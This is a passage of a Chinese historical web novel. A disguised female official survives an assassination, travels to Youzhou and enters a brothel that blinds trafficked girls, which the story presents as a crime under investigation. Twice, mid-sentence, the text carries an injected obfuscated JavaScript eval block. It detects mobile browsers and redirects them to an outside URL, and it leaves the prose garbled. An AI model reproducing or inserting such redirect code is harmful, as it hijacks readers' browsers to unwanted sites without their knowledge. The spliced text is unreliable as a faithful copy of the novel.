还未来得及抽剑,旁边的人剑已经刺过来了。周筠先一步将剑甩过去,接着踩着方才那个人的肩,飞身过去将剑抽出来,接着割了前面那人的喉咙。温热的鲜红的血在空中飞溅,两个人抽搐了两下,就没了动静。汩汩的鲜血顺着伤口蔓延了一地,浓烈的血腥味,在空气中游走。 剩下的一人,站在原地没动。看他的身形,莫名有点熟悉,好像在哪见过一般。 正想着,剑已经先一步过来了。他的武功并不低,至少,比方才的那两个人强。周筠的发湿着,在躲他的剑时候,被削了一缕。 “谁派你们来的。”周筠站定开口。 对面沉默着,两把剑再次对上的时候,周筠看见了他的眼睛。很熟悉,绝对是她见过的人。就在周筠看得入神的时候,那人扫了一腿,周筠避开,挥剑的时候,衣料破开的声音很是清脆。接着“哗”得一声,屋里归于一片黑暗。他用暗器将唯一的烛火熄了。 没有了亮光,任何一点声音都变得异常敏感起来。就在周筠感觉那人靠近的时候,门外突然响起一个声音,没了往日的清朗平静,多了几分慌张和迫切。 “少虞。” 她已经很久,没有听到旁人唤她的小字了。 “大人!”兰生的声音接着响起,大抵是因为没得到回应,他们开始踹门。 驿馆年久,门很轻易地就被踹开了。新鲜干净的空气破门而入。就在门被打开的瞬间,那人沿着方才破开的窗跑了。 众人进门,迎面而来的,就是浓烈积郁的血腥味。屋里无光,借着廊灯,柳慈看清了周筠。 只披着一件中衣,长发散落,脸上和雪白的中衣上,溅着星星点点鲜红的血点。手上的长剑,也还在淌血。而她的脚边,横陈着两具尸体。 她的脸上没有多余表情:“收拾干净些。” 平静得有些可怕。 12. 第十二章 他是第一次见这样的周筠,跟他记忆中脸蛋圆圆的,用稚嫩的声音喊他柳慈的周筠是完全割裂的。却也是最真实的。 “大人,无事吧?”兰生是第一个走近周筠开口询问的,脸上平静,但动作却透出几分慌乱。 周筠摇了摇头,回想方才他们闯进来时候的场景,她不确定,他们到底看见她裹胸了没有。他们是从窗子进来的,进来之后也没有过多的言语,摆明了就是冲着她来的,若是她的身份在这个节骨眼…… “还有一个人,他的右手臂被我划了一道口子,找到他,不必回报,直接杀了。” “是。”兰生带着几个人退下。 这时候掌柜的同邓逸文才匆匆赶来,掌柜的哪里见过这样的场面,一时间吓得愣在原地。邓逸文先一步上前:“周大人,柳大人,无事吧?” 见到邓逸文,周筠心里的那根弦瞬间被提起了。虽然还不知道来的是什么人,但是这时候来的,除了幽州,很难想到别的地方。知道冲着萧笙去的人,在场之人,除了柳慈,那就是段逸文了。 “无事。”周筠应声,将手上的剑放下,若有所思地瞥了邓逸文一眼。掌柜的听见他们的话,这会儿已经瘫软在地上了,知道他们是有身份的,没想到,竟都是朝廷的人。 北司的人专门是做这门营生的,动作很快,没一会儿就把屋里清扫干净了。 周筠将脸上的血迹擦干净,低眉看了一眼身上的血,不知道为什么,思绪突然回到了那个夜里,鼻尖的硝烟味似乎更重了。房间又重新归于安静,柳慈比她还心有余悸,坐下斟茶的手都有微微地颤抖。刚刚那瞬间的害怕,是真真切切的。 周筠坐下,看见他轻轻颤抖的手,轻轻嗤笑了一声:“没想到,柳大人也会怕?” 原以为柳慈会否认,毕竟人都不想在外人面前露怯,况且,她还是女子。 “我也是人,当然会怕。”柳慈将斟好的茶递到周筠的面前,十分诚恳道。 周筠完全没想到是这走向,沉默不语,接过他递过来的茶,闷了一口。柳慈突然伸手点了点自己的侧颊。周筠抬手,摸了摸自己脸上同一个位置,指上赫然有一点鲜红。以为这样就好了,正要再拿起茶盏,下一秒,一只骨节分明的手出现在眼下。碍于礼数,他并未碰到她。只是轻声道:“这儿还有一点。” 两个人这会儿离得近,周筠甚至都能感受到柳慈的呼吸。 驿馆陈旧,屋里并无铜镜。周筠干脆站起身,用棉巾浸水拧干,用力擦拭了一番。 夜里熄了烛火,躺到榻上。空气中还泛着隐隐的血腥味。方才才遭了刺客,这会儿外头守卫的人多。倒是完全不必担心,不知是方才打斗过还是陌生的床榻,周筠这会儿有些睡不着,翻来覆去。 过了好久,还是睡不着,竟还想起夜了。尿壶就放在床榻后头,可去的话,势必会弄出动静。 一旦开始想这件事,便愈发控制不住,又一个转身之后,终于忍不住坐起身,掀开床帘。 柳慈正躺在地上,刚刚只从柜子里翻出了一床被子出来,只能垫着和衣而睡。熄了烛火,只能借着隐隐的廊灯看见个轮廓。 周筠坐好,仔细听了听他的呼吸:“柳慈。” 柳慈听见她叫,并未回头:“有事?” “你出去一下。” 仅仅是一瞬间,柳慈就知道她要做什么了。脑海里瞬间浮现的,是他娘亲跟许雾一起上山礼佛,他和周筠因为贪玩儿同嬷嬷走散了,山上没有恭桶,又憋得急,只能就地解决。 ——柳慈,为什么都是男孩子,你尿尿有那个,我却没有? 也就是那时候,柳慈发现了这个天大的秘密。虽然他那时候并不清楚为什么周筠要变成“男子”,但,她母亲既已如此做了,这件事透露出去,对她,没有半点好处。于是那时候的柳慈也帮着周筠开始隐瞒。 直到听闻周筠跟许雾要搬进太师府了,他那时才明白。但也是同年,父亲柳思源被贬,举家迁至儒州。仅仅三年光景,再回京见到周筠时,已然生分至极。 周筠的动作很快。不想声音太大,于是净手之后走到门口,将门打开,让他进来。 廊下的烛火不知是不是才续上,比刚来的时候亮不少。柳慈就站在廊边,他换了一身银竹纹样白衣,长发披散,墨黑柔顺披散在身后,因着睡觉,有些乱。他的那张脸,其实是顶好看的,只不过周筠自小同他一起长大,并不放在心上。加之后来对他避之唯恐不及,更没有心思注意他。 面若冠玉,目如朗星。周筠的脑子里,不知为何蹦出这两个词来。 周筠一怔微微偏过头:“好了。” 她并未后退,反而是站在门前等柳慈走近。柳慈看了一眼空隙,又抬眼看向她。周筠没有动作,微微抬了抬下颌,眼里略含了几分挑衅,示意他进来。 柳慈迟疑了片刻,侧身进门,两个人靠得很近,周筠顺手就把门带上了。 “为什么?为什么你一定要卷进这件事中?” 方才他的提醒,绝不是要与她为难,而且方才柳慈好像,还叫了她少虞。 柳慈敛眉,并未应声,似乎想回避这个问题。 周筠见他的模样,笑了笑,靠近逼问道:“该不是,为了我吧?” “镜明哥哥。” 乍一听见这个称呼,柳慈脑子嗡得一下,呼吸一滞,喉头不自觉滚动了两下,心跳也莫名其妙地开始跳得飞快。他同周筠同年,只比周筠大几个月。他们刚认识的时候,周筠的年岁还很小,一口一个镜明哥哥地喊着,跟在身后跟屁虫似的。但后来周筠知事些了,便叫他柳慈了。他已经很久很久,没有听见周筠这样称呼他了。 周筠为了看清柳慈的反应,还故意低头凑近了几分。谁曾想,柳慈忽然抬头。一时间,近在咫尺,四目相对,呼吸交缠。周筠很快回过神来,微微往后靠,干咳了两声,拢了拢衣裳,回到榻上。 她没什么心事,方才对柳慈,不过是随便一问,问不出来便也罢了。反正她也没抱多大的期待。不过,她算是知道了,柳慈掺和这件事,于她而言,好像是没什么恶意。想着想着,没一会儿就睡着了。 反倒是柳慈,被周筠这么一搅和,全然没了睡意,听着周筠均匀的呼吸声深叹了一口气。直到天微亮时,才睡下。 没睡多久,门外就响起了敲门声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382609|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人,时候不早了,该启程了。”兰生的声音在门外响起。 周筠起身,伸了个懒腰,掀开床帘就瞧见柳慈已经将被褥放回到柜子里了。 “人,找到了吗?”周筠出房门见着兰生的一句话便是问这个。 兰生摇了摇头:“属下无能。” 也不是能力的问题,那个人蒙着面不说,又是在荒山野岭的,他们带的人也不多,想要找个人,确实不容易。 “走吧。” 今日天气阴沉,看着又是一副要下雨的样子。段逸文看了一眼天气:“赶紧走吧,得在天黑之前赶到幽州,不然,山路难行,若是下大雨,更是雪上加霜。” 他一边说着,一边朝着自己的马车走。走了两步回过头跟兰生道:“兰大人,你今儿,坐我的马车吧。” 兰生听见这话,抱着剑,目光狐疑地来回看了周筠和段逸文一眼。未曾应声,但却朝着段逸文那边走过去了。 周筠对段逸文本就存了几分疑心,转身同柳慈上了马车。 才行了一会儿,雨就开始淅淅沥沥地下来了。 柳慈昨夜没睡,马车平稳,淅淅沥沥的雨声催人入眠。忍不住打起了瞌睡。 周筠见柳慈闭眼,毫无顾忌地上下打量他。她看不透他,从小就看不透。 一晃,一日就过去了。再掀开车帘时,天色已经暗了。 “照影。”周筠掀开车帘叫了一声,照影驱马靠近,“大人。” “待会进城之后,不必停留,直接去刺史府。先让人去通报一声。” “是。” 帘子放下的瞬间,柳慈的话跟着响起:“怎么,不装了?” “都知道了,装也没意思,倒不如直接在刺史府住下。”周筠淡淡地应声。 马车进幽州城,周围明显热闹起来,各种声音,此起彼伏。空气弥漫各种食物的香气,闻到食物味道,周筠倒是有些饿了。 “大人,到了。”过了好一会儿,照影的声音从外头传进来。 柳慈先下的马车,周筠正要出去的时候,就听见了寒暄声。 “萧大人,真是好久不见呐!” “段大人。” “这位大人是?” “御史台,柳慈。” “原是柳大人,下官在幽州,可是早就听过柳大人的名声。” “不过都是些虚言。” “柳大人过谦了。” 周筠下马车,众人的目光挪到了她身上。段逸文上道,见周筠下马车,往旁边靠了靠:“这位是北司指挥使,周罄竹,周大人。” 周筠站定,扫了一眼面前站着的人,为首的萧笙,一身月白金线祥云纹,身材偏胖,留着八字胡,不像是做官的,倒像是从商的,而且是富得流油的那种。 “周大人。”萧笙笑呵呵地招呼了一声。 萧笙的旁边,站着的是个熟人。周筠对上周祁闻的眼睛,心下一跳。那双眼睛,有种莫名的熟悉感。 周祁闻见周筠,并未行礼,只是勾了勾唇:“三弟。” 周筠目光慢慢移到他的右臂上,也露出一抹笑来,低声淡淡道:“你该尊我一声大人。” 13. 第十三章 周祁闻眼神瞬间冷了下来,但他没办法反驳,周筠的官位,确实是在他之上。愣了半晌,最终略有些不服气地开口道:“下官见过周大人。” “起身吧。”周筠看着他出声应道。 萧笙像是看出来了他们俩之间有什么,笑着上前招呼道:“几位大人舟车劳顿,在下已备好薄酒,还请几位大人赏光。” “好好好,那便麻烦萧大人了。”段逸文先应得声,见周筠同柳慈没出声,段逸文还煞有介事地回头看了他们俩一眼。 “周大人?柳大人?” “走吧。”柳慈接过话头,看向周筠。 周筠抬步,一行人跟着往里走。还未进门,周筠便觉得这刺史府有些不对劲。门前的石狮子是汉白玉的,刺史府的匾额是金丝楠的,大门都是檀木的。 进门就瞧见两旁穿着鲜亮的侍女候着,见他们进门,纷纷朝着他们行礼请安道:“奴婢见过各位大人。” 声音娇软入骨,个个面若桃花。院子假山流水,奇花异草,满目琳琅。她们行完礼,其中两位提着手上的宫灯,朝着周筠他们微微一躬身:“几位大人随奴婢来。” 周筠若有所思地看向萧笙,萧笙对上周筠的目光,意味深长地笑了笑。周筠接着扭头,递了一个眼神给兰生。兰生会意,转身出了府同车夫交代了两句,又快速地回到了人群之中。 一行人往里走,越往里走,越见奢靡。小叶紫檀的廊道,夜明珠琉璃宫灯。虽然周筠也见过不少好东西,但这样放在明面上的,还真是头一回。 “大人,请。”前面的女子在一处门前停下,将门推开。 里头是摆宴的地方,两边摆着整整一大片明晃晃的蜡烛,屋里亮堂得厉害。主位背面有一张屏风,青纱帐随风摇晃,还能听见流水的声音。 “周大人,请。”萧笙这回从后面走上前,朝着主位抬了抬手。 “大人为东道,自然是大人坐主位。”周筠客套道。 坐哪儿于她而言没什么差别,不过陌生的地方,还是不要那么惹眼得好。 “既如此,那下官便恭敬不如从命了。”萧笙笑着应声,走到主位坐下。 萧笙坐下后,众人也依次而坐。萧笙拍了拍手,立刻有下人端着酒菜鱼贯而入。 “几位大人今日可定要尽兴啊。”萧笙说着,有婢子上前给他们斟酒。琉璃金盏,葡萄美酒,一倒出来便酒香四溢。 “有萧大人如此的款待,不尽兴那是辜负了。”周筠抬酒杯,众人一同抬酒杯。 几盏酒下肚,整个人都热起来了。葡萄酒入口柔,却未曾想到这样烈。萧笙还在一个劲地劝酒,周筠觉得不对,看向兰生。兰生的脸也有几分红了。 “萧大人,我瞧着几位大人都有些醉了,便先回去歇息吧。”周筠出声。 萧笙脸是红了,但却没什么醉意:“诶,周大人,你们几位大人难得来幽州,今夜,可是要不醉不归啊!” 周筠可不吃他这套,略有些晃地站起身:“不胜酒力,先行一步了。” 她走,还不忘叫上兰生。至于柳慈同段逸文,倒是用不着她操心。此行带的暗卫,保护他们应该够了。若是不够,不够就算了。毕竟她也不太希望柳慈活着。 “两位请随奴婢来。” 周筠走两步,有些晃,后头跟着的婢子见了就要上前扶。只见周筠一侧身,手便攀上了兰生的手臂。 兰生就喝了一杯,周筠可被灌了好几杯。兰生先是被周筠的举动吓一跳,接着是扑鼻的酒气连同淡淡的百濯香。大抵是同柳慈在一起的时间久了,衣裳上都沾染了他的味道。有些不习惯地想要推开她。没想到走了两步就听见她的声音在耳边响起。 “撒下去的饵,有上钩的吗?” “嗯。”兰生瞬间懂了周筠这样做的缘由,手上用了点力,扶住她,“秦楼。” 周筠乍一听见这两个字,有些疑惑地抬眼看向兰生。 前后的婢子看上去都极有分寸,离得不近,他们又刻意压低了声音。兰生微低眉,就能清楚地看见周筠的脸。喝了酒,双颊连同眼尾都红红的,眼睛在廊灯的映衬下湿漉漉的。她的脸,实在太过漂亮了,饶是兰生明明知晓他是男子,也有一瞬间的恍惚。 “什么秦楼?” “就是青楼。”兰生解释,耳尖微微红了些。 “消息可靠?”周筠质疑。 “撒下去那么多饵,也只有这一个上钩。” 兰生话音才落,前面的婢子停了脚步,回过身看向他们俩:“这里,就是客房,让奴婢们伺候大人沐浴休息吧。” “不必了,兰生。”周筠故意道。 “是。” 她们退下之后,兰生继续扶着周筠进去。夏日的衣料单薄,如今又靠得近,兰生难免不适应。 “你让他们接着查,时间不多了。至于那个秦楼,明夜我去探探。” “听闻那个秦楼,背后的主子来头不小,估计同萧笙脱不了干系。你一个人去,会不会……” 见兰生欲言又止的,周筠有些不耐烦道:“怎么了?” “没什么。”兰生应声将周筠放到榻上,起身出去。 兰生出去之后,周筠躺在榻上想到底该怎么办。萧笙的刺史府如此奢靡,萧笙都未曾想过避一避,说明他压根就不怕。况且,朝中连同各个州府的消息那般灵通。他不可能不知道他们是为什么来的。甚至,驿馆的刺杀,八成也是他做的。 想到驿馆,周筠的脑海里忽然闪过周祁闻。那双眼睛,同她在驿馆里见过的,未免太过相像了。这世上可没有这么巧的事。 翌日。 才用完午膳,兰生就来了。周筠见他欲言又止的样子,故意让婢子拿了一些鱼食,坐在亭子里喂鱼。 “有眉目了?”周筠先开得口,却没有看兰生,而是盯着池塘里抢食的鱼。 兰生像是有所顾忌,目光时不时落在亭子前候着的两个婢子身上。 “嗯,萧笙同赵天豪根本不是表面上那般敌对的关系,反倒是有利益纠葛。” “我们的人打听到,此前萧笙每个月都会从幽州运送不少好东西到盛京给赵天豪。” 卫尉卿这官职虽然称不上大,但确确实实是个肥差,手下的人分布广,又可名正言顺出入皇宫。要打听消息可是方便多了。 “你昨夜说,秦楼背后的主子还来头不小?” “是。” 管他来头大小,只要萧笙同赵天豪有利益纠葛,这件事就会好办许多。 “再去,接着查。最好能找到账本。” 只要找到账本,将这件事坐实,任凭萧笙那张嘴怎么说,都能将这件事变成真的。 “那秦楼,大人还去吗?” “去,自然要去。” —— 好不容易入夜。 周筠换好夜行衣,用迷香迷倒了在外面还有房顶监视的两个人,从窗子翻身出去。幽州,她从没来过,只从前听周潇提起过。富庶之地,每年的上供,是最多的。找到一条暗黑的小巷子,翻身落地,将外头的夜行衣脱了。摸出怀里一早备好的折扇,“啪”地一声打开,大摇大摆地往街市上走。 她不急,目前的一切还没有头绪,她得捋一捋。找了个茶馆,要了一壶茶。小二来得快,将茶同茶点一块端上来。 “诶,小哥。”周筠开口,递了一块碎银过去,“有些事,想同你打听打听。” 店小二先是打量了周筠一眼,笑着伸手接过:“客官请讲,若是小的知道,定会告知。” “听闻秦楼的姑娘是幽州上好的,我这初来乍到的,便想着先问问规矩。” 店小二听见秦楼,眼神一变,凑近低声道:“秦楼没什么特别的规矩,只要五十两纹银,便可进门。” “五十两?”周筠有些诧异,盛京的青楼恐怕都没这规矩。 “不过若是公子想要更好的,得加银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438236|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “什么是更好的?”周筠凑近低声问道。 “公子不知道?”小二有些奇怪地反问,通常来幽州秦楼的,通常就是为了这个。 “就是盲伎。” 周筠了然,盛京的有些东西,她虽不玩儿,但也都有所耳闻。盲伎,是近一年才传进盛京的,貌美的女子,且得是八到十岁左右的。这个年岁,能看得出样貌,且也懂事,是最好的。听闻送入馆中之后,调/教个几年,再弄瞎她们的眼睛。 她曾嗤之以鼻,询问过身边的纨绔,为何喜欢盲女。纨绔笑着道,一是不见面貌,不识身份。二是盲女可比看得见有意思多了。她们后天看不见,所以会变得更加乖顺依赖。 倒是没想到,秦楼,还有这样的玄机。 “多谢。”周筠道谢,看着转身消失在廊道。也跟着站起身,走出了茶馆。 —— 秦楼。 门口不似寻常的青楼热闹,反倒称得上安静,来往的客人安安静静被人领进去。 她低眉,摇着扇子往前走,走近便有穿着青衣的女子上前。那青衣女子见周筠的模样俊俏,眼神都亮了一些。 “公子请随奴家来。”她说着,转身就往里走。 周筠跟着进去,里头的布置,看着当真一点不像青楼。 “公子想要什么?”走了两步,那女子回过头看向周筠。 “想见见盲伎。”周筠直言,接着摸出一百两的银票,挑眉:“够吗?” “够了。”那女子应声,将银子收下,领着周筠往里走。 “你们这楼,开了有多久了?” 那女子似乎有些讶异周筠会问这个,迟疑道:“这妾身也不知,妾身是前不久才来的,对楼里的事,不甚熟悉。公子恕罪。” 看她的样子,怕是见了哪个新客,都是这套话。 周筠摆了摆扇子,不再作声。楼里的人不少,来来往往打扮或妖艳或清丽的女子,容貌皆不俗。脂粉连同香薰的味道在楼里弥漫,各种味道混杂在一起,倒是有些重了。 “公子,请进。”那女子带着周筠到一间房前,打开房门。 霞色轻纱帐,蜡烛仅点了两支,屋里的陈设更像是女子的闺房。梳妆镜,长珠帘,还有,一副女子的挂画。 周筠进去,坐在桌前,那女子俯身斟茶,茶还未挪到周筠的面前,门前便响起了一阵动静。 一个女子,被另外一个女子扶着进来,手上抱着一面琵琶。抱着琵琶的那个女子用轻纱蒙着眼睛。显然,就是他们口中的盲伎。 “这位是雪霜,今夜,便由她来伺候公子。”斟茶的女子见周筠的目光一直落在她身上,将茶推至周筠面前开口道。 话音才落,名唤雪霜的女子调整了一下手中琵琶的位置,朝着周筠的方向微微一躬身:“妾身雪霜,见过公子。” 声音不重且清甜,光着听着,骨头都酥了半身。 她们有眼力见地下去了,很奇怪的是,那女子并没有将雪霜扶到位子上,而是让她就站在那儿。 “公子,想要听琵琶吗?”雪霜安安静静地站在原地开口问道。 “多大了?”周筠开口问。 大抵是因为看不见,,她下意识地面向声音的来源,似乎在判断。 “十五。”她应声,脸上依旧带着淡淡的笑,生怕周筠不高兴,又接话道,“《今宵曲》、《琉璃脆》,妾身都会,或者公子有什么想听的?” “那便《琉璃脆》吧。”周筠随意点了一曲,有些好奇她站着要怎么弹。就看见她伸手,往前慢慢摸索,似乎是在找位子。 周筠脑子里忽然闪过她摔倒的画面。屋里的陈设,并不算简单平坦,他们是故意的,有些人,就喜欢以此为乐。 她正想着的时候,就看见雪霜的面前的地上,叠着的霞色纱帐。还未来得及开口,她已经先一步绊住了。周筠此时也顾不得许多,足尖轻踩桌面伸手就揽住了她。